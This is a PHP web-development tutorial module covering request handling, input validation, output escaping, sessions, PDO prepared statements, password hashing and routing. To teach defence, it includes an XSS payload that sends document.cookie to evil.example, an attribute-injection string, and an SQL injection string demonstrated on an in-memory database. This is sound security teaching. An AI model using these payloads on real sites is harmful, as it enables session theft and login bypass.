Free Handbook · Every example compiled & verified

PHP for the Web

How PHP answers a web request: superglobals, form validation, escaping against XSS, sessions, redirects, PDO prepared statements, password hashing and routing.

0 / 148 lessons🔥 0 day streak
ShareXLinkedIn

Module 10 · what you'll be able to do

  • Explain the request/response cycle and run a page with the built-in server
  • Read input from $_GET, $_POST and $_SERVER and validate it with filter_var
  • Escape every piece of output with htmlspecialchars and explain what XSS is
  • Use sessions, cookies, headers and the Post/Redirect/Get pattern correctly
  • Query a database with PDO prepared statements, store passwords with password_hash, and route requests through one front controller
01

The request/response model and the built-in server

A browser sends an HTTP request: a method (GET, POST…), a path (/products?page=2), headers and sometimes a body. The web server (nginx or Apache) hands PHP requests for .php files, usually through PHP-FPM. PHP runs the script from the top, everything it echoes becomes the response body, and header() calls add response headers. Then the script ends and everything is thrown away — variables, objects, open connections. The next request starts from zero. This "shared-nothing" model is why PHP apps are easy to scale and why state that must survive between requests lives in a session, a cookie or a database.

For development you do not need nginx: PHP has a built-in web server (introduced in Module 00). It serves the current directory and runs .php files. It handles one request at a time and is not for production.

bash
mkdir hello-web && cd hello-web
# create index.php (below), then:
php -S localhost:8000
# open http://localhost:8000/?name=Asha in the browser

# route every request through one file (a front controller):
php -S localhost:8000 index.php
phpindex.php
<?php
declare(strict_types=1);

$name = $_GET['name'] ?? 'world';
$method = $_SERVER['REQUEST_METHOD'];
$path = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);

header('Content-Type: text/html; charset=utf-8');
?>
<!doctype html>
<title>Hello</title>
<h1>Hello, <?= htmlspecialchars($name) ?>!</h1>
<p>You made a <?= $method ?> request for <code><?= htmlspecialchars($path) ?></code>.</p>

Text outside <?php ?> is sent as-is; <?= ?> echoes a value. Visiting /?name=Asha renders "Hello, Asha!".

Because a request is just input and the page is just output, you can model the whole cycle as a function — which is exactly how frameworks and their tests see it. The examples in this module run on the command line by building the input arrays themselves.

phpmain.php
<?php
declare(strict_types=1);

/** @return array{int, array<string,string>, string} status, headers, body */
function handle(string $method, string $uri): array
{
    $path = parse_url($uri, PHP_URL_PATH);
    parse_str(parse_url($uri, PHP_URL_QUERY) ?? '', $query);

    if ($method === 'GET' && $path === '/hello') {
        $name = htmlspecialchars($query['name'] ?? 'world');
        return [200, ['Content-Type' => 'text/html'], "<h1>Hello, $name!</h1>"];
    }
    return [404, ['Content-Type' => 'text/plain'], 'Not Found'];
}

foreach ([['GET', '/hello?name=Asha'], ['GET', '/hello'], ['POST', '/hello'], ['GET', '/admin']] as [$m, $u]) {
    [$status, $headers, $body] = handle($m, $u);
    echo "$m $u -> $status {$headers['Content-Type']} | $body\n";
}
Outputcompiled & run with real PHP
GET /hello?name=Asha -> 200 text/html | <h1>Hello, Asha!</h1>
GET /hello -> 200 text/html | <h1>Hello, world!</h1>
POST /hello -> 404 text/plain | Not Found
GET /admin -> 404 text/plain | Not Found

parse_url() splits the URI; parse_str() turns a query string into an array — the same thing PHP does to fill $_GET.

02

Superglobals: $_GET, $_POST, $_SERVER and friends

Before your script runs, PHP fills a set of superglobals — arrays that are visible in every function without global. Everything in them comes from the client and is untrusted: a user can put any string in any field, send fields your form does not have, or leave fields out. Values are always strings (or arrays of strings for name[] fields), never ints or bools.

SuperglobalContainsExample
$_GETQuery-string parameters/search?q=php → $_GET['q']
$_POSTForm fields from a POST body (form-encoded or multipart)$_POST['email']
$_SERVERRequest and server infoREQUEST_METHOD, REQUEST_URI, HTTP_USER_AGENT, REMOTE_ADDR
$_COOKIECookies the browser sent$_COOKIE['theme']
$_FILESUploaded files (name, tmp_name, size, error)$_FILES['avatar']['tmp_name']
$_SESSIONYour session data (after session_start())$_SESSION['user_id']
$_ENV / getenv()Environment variablesDatabase passwords, API keys
$_REQUESTGET + POST + COOKIE mergedAvoid: you cannot tell where a value came from
phpcontact.php
<?php
// A form that posts to itself
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $name = trim($_POST['name'] ?? '');
    $topics = $_POST['topics'] ?? [];        // <input name="topics[]"> arrives as an array
    echo 'Thanks, ' . htmlspecialchars($name);
    exit;
}
?>
<form method="post">
  <input name="name">
  <label><input type="checkbox" name="topics[]" value="php"> PHP</label>
  <label><input type="checkbox" name="topics[]" value="sql"> SQL</label>
  <button>Send</button>
</form>
phpmain.php
<?php
// On the command line the superglobals are (almost) empty, so fill them
// the way PHP would for: POST /signup?ref=ad with a form body.
$_SERVER['REQUEST_METHOD'] = 'POST';
$_SERVER['REQUEST_URI'] = '/signup?ref=ad';
$_GET = ['ref' => 'ad'];
$_POST = ['name' => '  Asha ', 'age' => '29', 'topics' => ['php', 'sql']];

function readSignup(): array
{
    // superglobals are visible inside functions without "global"
    return [
        'method' => $_SERVER['REQUEST_METHOD'],
        'ref' => $_GET['ref'] ?? 'direct',
        'name' => trim($_POST['name'] ?? ''),
        'age' => $_POST['age'] ?? null,
        'topics' => $_POST['topics'] ?? [],
        'newsletter' => isset($_POST['newsletter']),     // unchecked boxes are simply absent
    ];
}

var_dump(readSignup());
Outputcompiled & run with real PHP
array(6) {
  ["method"]=>
  string(4) "POST"
  ["ref"]=>
  string(2) "ad"
  ["name"]=>
  string(4) "Asha"
  ["age"]=>
  string(2) "29"
  ["topics"]=>
  array(2) {
    [0]=>
    string(3) "php"
    [1]=>
    string(3) "sql"
  }
  ["newsletter"]=>
  bool(false)
}

Note "29" is a string. An unchecked checkbox is not sent at all, so test it with isset().

Error you will hit

Warning: Undefined array key "email" — reading a field that was not sent

php
<?php
// simulate a form POST with no email field
$_POST = ['name' => 'Asha'];

$email = trim($_POST['email']);
echo "Thanks, we will write to <$email>\n";
Warning: Undefined array key "email" in main.php on line 5

Deprecated: trim(): Passing null to parameter #1 ($string) of type string is deprecated in main.php on line 5
Thanks, we will write to <>
Why PHP said that

The request had no email field — a user can always remove or rename fields. Reading a missing key gives a warning and null; passing that null to trim() adds a deprecation notice, and the script carries on with an empty email. On a live site those messages can even end up in the page (see display_errors in Module 11).

The fix

Never assume a field exists. Default with ??, then validate the value and reject the request if it is missing or invalid.

php
<?php
$_POST = ['name' => 'Asha'];

$email = filter_var(trim($_POST['email'] ?? ''), FILTER_VALIDATE_EMAIL);
if ($email === false) {
    echo "Please enter a valid email.\n";
} else {
    echo "Thanks, we will write to <$email>\n";
}
03

Validating form input with filter_var

Validate on the server, always. HTML attributes like required and type="email" help honest users, but anyone can send a request without your form. filter_var($value, $filter, $options) checks and converts in one step: it returns the clean value, or false if the input is invalid. Collect every problem into an $errors array so the user can fix them all at once, and only use the data when that array is empty.

phpmain.php
<?php
declare(strict_types=1);

function validateSignup(array $in): array
{
    $errors = [];
    $clean = [];

    $clean['email'] = filter_var(trim($in['email'] ?? ''), FILTER_VALIDATE_EMAIL);
    if ($clean['email'] === false) {
        $errors['email'] = 'Enter a valid email address.';
    }

    $clean['age'] = filter_var($in['age'] ?? '', FILTER_VALIDATE_INT, ['options' => ['min_range' => 16, 'max_range' => 120]]);
    if ($clean['age'] === false) {
        $errors['age'] = 'Age must be a whole number from 16 to 120.';
    }

    $clean['site'] = filter_var($in['site'] ?? '', FILTER_VALIDATE_URL) ?: null;

    // "yes"/"on"/"1"/"true" -> true, "no"/"off"/"0"/"false"/"" -> false, anything else -> null
    $clean['newsletter'] = filter_var($in['newsletter'] ?? 'no', FILTER_VALIDATE_BOOL, FILTER_NULL_ON_FAILURE);

    $name = trim($in['name'] ?? '');
    if ($name === '' || mb_strlen($name) > 50) {
        $errors['name'] = 'Name is required (max 50 characters).';
    }
    $clean['name'] = $name;

    return [$clean, $errors];
}

[$ok, $errors] = validateSignup(['name' => 'Asha', 'email' => ' [email protected] ', 'age' => '29', 'newsletter' => 'on']);
var_dump($errors === [], $ok['email'], $ok['age'], $ok['newsletter']);

[, $errors] = validateSignup(['name' => '', 'email' => 'asha@', 'age' => '12abc']);
print_r($errors);
Outputcompiled & run with real PHP
bool(true)
string(16) "[email protected]"
int(29)
bool(true)
Array
(
    [email] => Enter a valid email address.
    [age] => Age must be a whole number from 16 to 120.
    [name] => Name is required (max 50 characters).
)

FILTER_VALIDATE_INT returns a real int, so after validation the types are right. "12abc" is rejected outright — unlike (int) "12abc", which quietly gives 12.

Your turn

Add a password rule: at least 12 characters. Put the message under $errors['password'].

In real jobs
Frameworks wrap this in declarative rules — Laravel's $request->validate(['email' => 'required|email']), Symfony's Validator constraints — but the idea is identical: validate every field on the server, collect errors, redisplay the form with the old values (escaped!) and the messages.
04

Escaping output: htmlspecialchars and XSS

Cross-site scripting (XSS) happens when user-supplied text is put into a page as HTML. If a comment contains <script>...</script> and you echo it raw, that script runs in every visitor's browser with their cookies and session. The fix is to escape on output: htmlspecialchars() turns < > & " ' into entities, so the browser shows the characters instead of running them. Escape at the moment you print, for the context you print into — HTML text, an HTML attribute, a URL or JavaScript each need their own encoding.

phpmain.php
<?php
declare(strict_types=1);

function e(?string $s): string        // the one-letter helper every PHP project has
{
    return htmlspecialchars($s ?? '', ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

$comment = '<script>fetch("https://evil.example/?c=" + document.cookie)</script>';
$name = 'O\'Brien" onmouseover="alert(1)';
$search = 'tea & coffee/2';

echo "raw:     <p>$comment</p>\n";                 // DANGEROUS
echo "escaped: <p>", e($comment), "</p>\n";
echo '<input value="', e($name), '">', "\n";
echo '<a href="/search?q=', urlencode($search), '">', e($search), "</a>\n";
echo '<script>const user = ', json_encode(['name' => '</script>'], JSON_HEX_TAG | JSON_THROW_ON_ERROR), ";</script>\n";
Outputcompiled & run with real PHP
raw:     <p><script>fetch("https://evil.example/?c=" + document.cookie)</script></p>
escaped: <p>&lt;script&gt;fetch(&quot;https://evil.example/?c=&quot; + document.cookie)&lt;/script&gt;</p>
<input value="O&#039;Brien&quot; onmouseover=&quot;alert(1)">
<a href="/search?q=tea+%26+coffee%2F2">tea &amp; coffee/2</a>
<script>const user = {"name":"\u003C\/script\u003E"};</script>

Four contexts, four encoders: htmlspecialchars for HTML text and quoted attributes, urlencode for a query-string value, json_encode with JSON_HEX_TAG for data inside a <script>. Always quote attributes.

Escape on output (do this)

  • Store the user's text exactly as typed
  • Escape when printing, for that context
  • The same text can go to HTML, JSON, a CSV or an email safely
  • Template engines (Blade {{ }}, Twig) escape by default

Sanitise on input (not enough)

  • strip_tags() on the way in mangles legitimate text (a < b)
  • Cannot know every context the data will be printed into later
  • Old data in the database is still unescaped
  • Gives a false sense of safety
05

Sessions, cookies, headers and redirects

HTTP forgets everything between requests. A cookie is a small value the server asks the browser to store and send back on every request. A session builds on that: PHP stores data on the server and gives the browser only a random session id in a cookie (PHPSESSID). Call session_start() at the top of the script and $_SESSION reads and writes that data. Cookies, session starts and redirects are all headers, so they must be sent before any output — even a blank line before <?php counts (Module 11 shows the error).

phplogin.php
<?php
declare(strict_types=1);

session_start([
    'cookie_httponly' => true,     // JavaScript cannot read the session cookie
    'cookie_secure' => true,       // only sent over HTTPS
    'cookie_samesite' => 'Lax',    // not sent on cross-site POSTs (CSRF defence)
]);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $user = findUserByEmail($_POST['email'] ?? '');            // your own function
    if ($user && password_verify($_POST['password'] ?? '', $user['password_hash'])) {
        session_regenerate_id(true);       // new id after login: stops session fixation
        $_SESSION['user_id'] = $user['id'];
        header('Location: /dashboard', true, 303);   // Post/Redirect/Get
        exit;                              // header() does not stop the script!
    }
    http_response_code(401);
    $error = 'Wrong email or password.';
}
phppreferences.php
<?php
// A cookie that lasts 30 days
setcookie('theme', 'dark', [
    'expires' => time() + 60 * 60 * 24 * 30,
    'path' => '/',
    'secure' => true,
    'httponly' => true,
    'samesite' => 'Lax',
]);

// Read it on the NEXT request (it is not in $_COOKIE yet on this one)
$theme = $_COOKIE['theme'] ?? 'light';

// Log out: clear the session and its cookie
session_start();
$_SESSION = [];
session_destroy();
setcookie(session_name(), '', ['expires' => 1, 'path' => '/']);

// Other headers you will send
header('Content-Type: application/json; charset=utf-8');
http_response_code(404);
  1. 1
    POST

    The browser submits the form with POST /login.

  2. 2
    Process

    PHP validates, writes to the session or database.

  3. 3
    Redirect

    PHP answers 303 See Other with Location: /dashboard and no body, then exits.

  4. 4
    GET

    The browser follows with GET /dashboard. Refreshing now repeats a harmless GET — no "resubmit form?" dialog, no double order.

Never put secrets or trust in cookies
The user can read and change every cookie. Store only an id or a preference there; keep the user id, role and cart on the server in the session or database. A cookie value such as is_admin=1 is an open door.
06

Databases with PDO and prepared statements

PDO is PHP's database layer: the same API for MySQL, PostgreSQL and SQLite, only the connection string (DSN) changes. Since PHP 8.0 it throws PDOException on errors by default. The one rule that matters: never put user input into SQL with string concatenation. Use a prepared statement with placeholders (? or :name) and pass the values separately to execute(); the database treats them strictly as data, so they can never change the query. The example uses an in-memory SQLite database, so it runs anywhere.

phpmain.php
<?php
declare(strict_types=1);

$db = new PDO('sqlite::memory:', options: [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
]);
$db->exec('CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT NOT NULL, email TEXT UNIQUE, role TEXT)');

$insert = $db->prepare('INSERT INTO users (name, email, role) VALUES (:name, :email, :role)');
$db->beginTransaction();
foreach ([['Asha', '[email protected]', 'admin'], ['Ravi', '[email protected]', 'user'], ['Meera', '[email protected]', 'user']] as [$n, $e, $r]) {
    $insert->execute(['name' => $n, 'email' => $e, 'role' => $r]);
}
$db->commit();
echo "last id: ", $db->lastInsertId(), "\n";

$find = $db->prepare('SELECT id, name FROM users WHERE email = ?');
$find->execute(['[email protected]']);
print_r($find->fetch());

$byRole = $db->prepare('SELECT name FROM users WHERE role = :role ORDER BY name');
$byRole->execute(['role' => 'user']);
echo implode(', ', $byRole->fetchAll(PDO::FETCH_COLUMN)), "\n";

$count = $db->query('SELECT COUNT(*) FROM users')->fetchColumn();
echo "users: $count\n";

try {
    $insert->execute(['name' => 'Copy', 'email' => '[email protected]', 'role' => 'user']);
} catch (PDOException $e) {
    echo "rejected: ", $e->getMessage(), "\n";
}
Outputcompiled & run with real PHP
last id: 3
Array
(
    [id] => 2
    [name] => Ravi
)
Meera, Ravi
users: 3
rejected: SQLSTATE[23000]: Integrity constraint violation: 19 UNIQUE constraint failed: users.email

A transaction (beginTransaction … commit) makes the three inserts all-or-nothing and much faster. For MySQL the DSN is mysql:host=localhost;dbname=shop;charset=utf8mb4; the rest of the code is unchanged.

Your turn

Add updateRole(PDO $db, int $id, string $role): int that runs a prepared UPDATE and returns $stmt->rowCount().

SQL injection, demonstrated

phpmain.php
<?php
$db = new PDO('sqlite::memory:');
$db->exec("CREATE TABLE users (name TEXT, password_hash TEXT)");
$db->exec("INSERT INTO users VALUES ('asha', 'h1'), ('ravi', 'h2')");

$input = "nobody' OR '1'='1";                  // typed into a login form

// WRONG: the input becomes part of the SQL
$sql = "SELECT name FROM users WHERE name = '$input'";
echo $sql, "\n";
echo "concatenated: ", count($db->query($sql)->fetchAll()), " rows\n";

// RIGHT: the input is only ever a value
$stmt = $db->prepare('SELECT name FROM users WHERE name = ?');
$stmt->execute([$input]);
echo "prepared:     ", count($stmt->fetchAll()), " rows\n";
Outputcompiled & run with real PHP
SELECT name FROM users WHERE name = 'nobody' OR '1'='1'
concatenated: 2 rows
prepared:     0 rows

The quote in the input closed the string and OR '1'='1' made the condition always true — every user is returned. With a placeholder the database looked for a user literally named nobody' OR '1'='1 and found none.

Placeholders are for values only
You cannot bind a table name, a column name or ASC/DESC. When those come from the user (a "sort by" dropdown), pick from an allow-list: $col = match ($_GET['sort'] ?? '') { 'name' => 'name', 'date' => 'created_at', default => 'id' };
Error you will hit

PDOException: SQLSTATE[HY000]: General error: 1 no such table

php
<?php
$db = new PDO('sqlite::memory:');
$db->exec('CREATE TABLE users (id INTEGER PRIMARY KEY, email TEXT)');

$stmt = $db->prepare('SELECT * FROM user WHERE email = ?');
$stmt->execute(['[email protected]']);
Fatal error: Uncaught PDOException: SQLSTATE[HY000]: General error: 1 no such table: user in main.php:5
Stack trace:
#0 main.php(5): PDO->prepare('SELECT * FROM u...')
#1 {main}
  thrown in main.php on line 5
Why PHP said that

The table is users; the query says user. SQLite checks the SQL when it is prepared, so the exception comes from prepare() on line 5, not from execute(). The SQLSTATE code is standard across databases; the text after it is the driver's own message. With an in-memory database, also remember that each new PDO('sqlite::memory:') is a brand-new, empty database.

The fix

Fix the table name. Catch PDOException at the edge of the app to log it and return a 500 page — never print $e->getMessage() to visitors, because it reveals your schema.

php
<?php
$db = new PDO('sqlite::memory:');
$db->exec('CREATE TABLE users (id INTEGER PRIMARY KEY, email TEXT)');

$stmt = $db->prepare('SELECT * FROM users WHERE email = ?');
$stmt->execute(['[email protected]']);
var_dump($stmt->fetch());   // bool(false): no such user yet
07

Storing passwords: password_hash and password_verify

Never store a password, and never store md5($password) or sha1($password) — those are fast, so a stolen table can be cracked by trying billions of guesses per second. password_hash($password, PASSWORD_DEFAULT) uses bcrypt (a deliberately slow algorithm), generates a random salt for every call, and returns one string that holds the algorithm, cost, salt and hash. Store that string (a VARCHAR(255) column) and check logins with password_verify().

phpmain.php
<?php
$hash = password_hash('correct horse battery staple', PASSWORD_DEFAULT);

// The hash is different on every run (random salt), so only its shape is printed
echo substr($hash, 0, 7), "... (", strlen($hash), " chars)\n";

var_dump(password_verify('correct horse battery staple', $hash));
var_dump(password_verify('Correct horse battery staple', $hash));

$again = password_hash('correct horse battery staple', PASSWORD_DEFAULT);
var_dump($again === $hash);                      // same password, different hash
var_dump(password_verify('correct horse battery staple', $again));

print_r(password_get_info($hash));
var_dump(password_needs_rehash($hash, PASSWORD_DEFAULT, ['cost' => 13]));
Outputcompiled & run with real PHP
$2y$12$... (60 chars)
bool(true)
bool(false)
bool(false)
bool(true)
Array
(
    [algo] => 2y
    [algoName] => bcrypt
    [options] => Array
        (
            [cost] => 12
        )

)
bool(true)

$2y$ means bcrypt, 12 is the cost (the default since PHP 8.4). At login, if password_needs_rehash() is true, hash the password again and update the row — that is how you upgrade old hashes without resetting anyone's password.

08

A tiny router: one front controller

Instead of one .php file per URL, modern apps send every request to a single index.php — the front controller — which looks at the method and path and calls the right handler. nginx does this with try_files $uri /index.php?$query_string;, the built-in server with php -S localhost:8000 index.php. A router is just a list of (method, pattern, handler) entries and a loop. This is the core of what Laravel, Symfony and Slim do, minus a lot of features.

phpmain.php
<?php
declare(strict_types=1);

final class Router
{
    private array $routes = [];

    public function add(string $method, string $pattern, Closure $handler): void
    {
        // "/users/{id}" -> "#^/users/(?<id>[^/]+)$#"
        $regex = '#^' . preg_replace('#\{(\w+)\}#', '(?<$1>[^/]+)', $pattern) . '$#';
        $this->routes[] = [$method, $regex, $handler];
    }

    public function dispatch(string $method, string $path): array
    {
        $allowed = [];
        foreach ($this->routes as [$m, $regex, $handler]) {
            if (!preg_match($regex, $path, $match)) {
                continue;
            }
            if ($m !== $method) {
                $allowed[] = $m;
                continue;
            }
            $params = array_filter($match, 'is_string', ARRAY_FILTER_USE_KEY);
            return [200, $handler(...$params)];
        }
        return $allowed ? [405, 'Method Not Allowed'] : [404, 'Not Found'];
    }
}

$users = [7 => 'Asha', 8 => 'Ravi'];
$router = new Router();
$router->add('GET', '/', fn() => 'Home');
$router->add('GET', '/users/{id}', fn(string $id) => 'User ' . ($users[(int) $id] ?? 'unknown'));
$router->add('POST', '/users', fn() => 'Created');
$router->add('GET', '/posts/{slug}/comments/{n}', fn(string $slug, string $n) => "Comment $n on $slug");

foreach ([['GET', '/'], ['GET', '/users/7'], ['GET', '/users/99'], ['DELETE', '/users/7'],
          ['GET', '/posts/php-8/comments/3'], ['GET', '/nope']] as [$m, $p]) {
    [$status, $body] = $router->dispatch($m, $p);
    printf("%-6s %-25s %d %s\n", $m, $p, $status, $body);
}
Outputcompiled & run with real PHP
GET    /                         200 Home
GET    /users/7                  200 User Asha
GET    /users/99                 200 User unknown
DELETE /users/7                  405 Method Not Allowed
GET    /posts/php-8/comments/3   200 Comment 3 on php-8
GET    /nope                     404 Not Found

Named groups become named arguments: $handler(...$params) spreads ['id' => '7'] as id: '7' (see Module 05). In index.php you would call $router->dispatch($_SERVER['REQUEST_METHOD'], parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH)), set http_response_code($status) and echo the body.

Your turn

Make /users/{id} return 404 when the user does not exist, by letting handlers return [status, body] themselves.

VisualizeWhy DELETE /users/7 is a 405, not a 404Step 1 / 9
<?php
$routes = [['GET', '#^/$#'], ['GET', '#^/users/(?<id>[^/]+)$#'], ['POST', '#^/users$#']];
$method = 'DELETE';
$path = '/users/7';
$allowed = [];
foreach ($routes as [$m, $regex]) {
if (!preg_match($regex, $path)) {
continue;
}
if ($m !== $method) {
$allowed[] = $m;
continue;
}
echo "200\n";
exit;
}
echo $allowed ? "405\n" : "404\n";
Line 6

First route: GET with the pattern for /.

Variables now
$m'GET'
$allowed[]
All 9 steps as a table
StepLineWhat happenedVariables now
16First route: GET with the pattern for /.$m = 'GET' $allowed = []
27/users/7 does not match #^/$#, so the loop moves on.
36Second route: GET /users/{id}.$m = 'GET'
47The path matches the pattern.
510But the method is DELETE, not GET.
611Remember that this path exists for other methods.$allowed = ['GET']
76Third route: POST /users.$m = 'POST'
87/users/7 does not match #^/users$# (the $ anchors the end).
917No route handled it, but $allowed is not empty: the path exists, the method is wrong.
Request / response
The HTTP message the browser sends (method, path, headers, body) and the one the server returns (status, headers, body).
PHP-FPM
The FastCGI process manager that runs PHP behind nginx or Apache in production.
Superglobal
A built-in array such as $_GET, $_POST, $_SERVER or $_SESSION that is visible in every scope.
XSS
Cross-site scripting: user text printed as HTML runs as script in other users' browsers. Prevented by escaping output.
Session
Server-side data tied to a browser by a random id cookie; read and written through $_SESSION.
Post/Redirect/Get
Answer a successful POST with a 303 redirect so a refresh repeats a harmless GET.
PDO
PHP Data Objects — one database API for MySQL, PostgreSQL, SQLite and others.
Prepared statement
SQL with placeholders whose values are sent separately, so input can never change the query. The defence against SQL injection.
password_hash
Creates a salted, slow bcrypt hash for storing a password; check it with password_verify.
Front controller
A single entry script (index.php) that receives every request and routes it to a handler.
Quick check

A search page prints You searched for: <?= $_GET['q'] ?>. What is the correct fix?

Frequently asked questions

How do I prevent SQL injection in PHP?
Use PDO (or mysqli) prepared statements: write the SQL with ? or :name placeholders and pass user values to execute(). The values are sent separately from the SQL, so they can never change the query. Never build SQL by concatenating or interpolating user input, and use an allow-list for table or column names.
What is the difference between htmlspecialchars and htmlentities?
htmlspecialchars converts only the characters that have meaning in HTML (&, <, >, " and ') and is what you want for escaping output against XSS. htmlentities converts every character that has a named entity, such as é to é, which is unnecessary on a UTF-8 page.
Is md5 or sha1 safe for passwords in PHP?
No. They are fast general-purpose hashes, so stolen hashes can be cracked at billions of guesses per second. Use password_hash() with PASSWORD_DEFAULT (bcrypt), which is salted and deliberately slow, and check logins with password_verify().

Finish the PHP handbook, then get hired

Sit the exam for your certificate, run your resume through the ATS checker, and see the jobs that ask for exactly this.

Check my resume
Found this course useful? Share it.
ShareXLinkedIn

Comments

0

Join the conversation. Sign in to leave a comment — we'd love to hear your thoughts.